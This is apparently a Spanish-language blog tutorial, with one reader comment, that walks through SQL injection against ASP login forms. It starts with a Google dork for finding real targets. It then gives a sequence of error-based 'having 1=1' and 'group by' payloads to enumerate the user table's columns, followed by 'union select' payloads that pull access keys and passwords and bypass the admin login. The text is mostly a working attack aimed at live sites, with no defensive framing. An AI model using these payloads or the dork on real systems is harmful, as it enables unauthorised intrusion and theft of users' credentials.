(http://3.bp.blogspot.com/-dIS2rHtJFwk/UTf6PehbsFI/AAAAAAAABjI/wL6Myv4CYho/s1600/sqli.gif)
La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.
Dork: inurl:login.asp
En el en campo "Clave de Acceso" y "Password" del login escribimos:
' having 1= 1--
(http://1.bp.blogspot.com/-J7k1oJHoSgg/UTf8JRg4JfI/AAAAAAAABjg/ArO-9DbG5i4/s1600/sql_asp.png)
Al hacerlo nos dara el seguiente error:
(http://1.bp.blogspot.com/-tj8MihADRKU/UTf8LUX5sLI/AAAAAAAABj8/ghaDKC8jsJU/s1600/sql_asp_1.png)
Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave having 1 = 1--
Hacemos la inyección y el siguiente error sera así:
(http://2.bp.blogspot.com/-54FqhoO1cEk/UTf8K2HEwAI/AAAAAAAABjo/ru7vDpfUO1Y/s1600/sql_asp_2.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://4.bp.blogspot.com/-TMaovgAAN8I/UTf8LmYvvdI/AAAAAAAABkA/yC-h9VsAThI/s1600/sql_asp_3.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://4.bp.blogspot.com/-qtDfNyNdz34/UTf8Ohdw2sI/AAAAAAAABko/LCTSp96cqFs/s1600/sql_asp_4.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://1.bp.blogspot.com/-un-25yMb0jw/UTf8M8hsWtI/AAAAAAAABkI/XaxayvylfQo/s1600/sql_asp_5.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://3.bp.blogspot.com/-t4rvrx29cnQ/UTf8NTt8lBI/AAAAAAAABkQ/btQQfI4T3nw/s1600/sql_asp_6.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://2.bp.blogspot.com/-om2chci_rsA/UTf8JXDjOxI/AAAAAAAABjc/OpcJ-8i-qJI/s1600/slq_asp_7.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--
Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.
(http://3.bp.blogspot.com/-IwAatK6XkPM/UTgCsnt37_I/AAAAAAAABk4/4S5KPFGP0gQ/s1600/sql_login_asp.png)
Nuestra siguiente inyección sera de esta forma:
' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--
Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.
La posión de los unos puede varia un ejemplo podría ser:
' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--
(http://4.bp.blogspot.com/-5YbxfL6Uyng/UTf8N9E22xI/AAAAAAAABkY/DQuje9yCVAA/s1600/sql_asp_8.png)
Curiosamente al hacer la inyección de esta forma tenemos el acceso:
' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--
(http://1.bp.blogspot.com/-7j5HvUOoJaQ/UTf8LU5-RoI/AAAAAAAABj0/r6jbDcfn5tk/s1600/panel.png)
La inyección para que les arroje la password es:
' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--
(http://2.bp.blogspot.com/-3CaHjaffQfY/UTf8ObZN1OI/AAAAAAAABkg/V3fUJbMhFQ0/s1600/sql_asp_9.png)
hola muy bueno tu manual pero el SQL inyect para asp.net solo funciona si la base de datos esta en sql server xq estoy probando contra posgresql y no funciona nada :( tienes algo contra posgresql??
saludos
¿Puedo ver un ejemplo?
(http://www.freeimagehost.info/files/img/user_uploads/displayimage.php?id=dpecj8qo4u07013969.gif)